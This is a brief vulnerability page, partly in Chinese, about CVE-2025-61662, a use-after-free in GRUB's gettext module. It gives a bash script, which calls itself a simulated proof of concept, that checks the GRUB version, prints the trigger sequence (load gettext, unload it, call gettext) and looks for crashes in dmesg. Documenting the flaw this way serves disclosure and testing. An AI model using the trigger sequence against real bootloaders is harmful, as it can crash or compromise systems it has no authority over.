CVE-2025-61662 GRUB gettext模块Use-After-Free高危漏洞

#!/bin/bash # CVE-2025-61662 PoC - GRUB gettext module Use-After-Free # This PoC demonstrates the vulnerability concept # Note: Actual exploitation requires physical or privileged access to GRUB environment # Step 1: Identify vulnerable GRUB configuration echo '[*] Checking GRUB version and module status...' grub-install --version 2>/dev/null || echo '[-] GRUB not found' # Step 2: Check if gettext module is loaded echo '[*] Attempting to trigger gettext module unload...' # In actual attack scenario, this would be done through GRUB shell: # insmod gettext # unload # gettext "test" # Step 3: Trigger the orphaned command access # The vulnerable condition occurs when: # - gettext module is loaded and unloaded # - Command registry still holds reference to gettext command # - Subsequent call to 'gettext' command accesses freed memory echo '[!] Simulated PoC - Requires GRUB shell access' echo '[!] Attack sequence:' echo ' 1. insmod gettext' echo ' 2. unload (or module auto-unload)' echo ' 3. gettext "any_string" -> triggers UAF' # Step 4: Monitor for crash indicators dmesg | grep -i grub || echo '[-] No GRUB crash detected'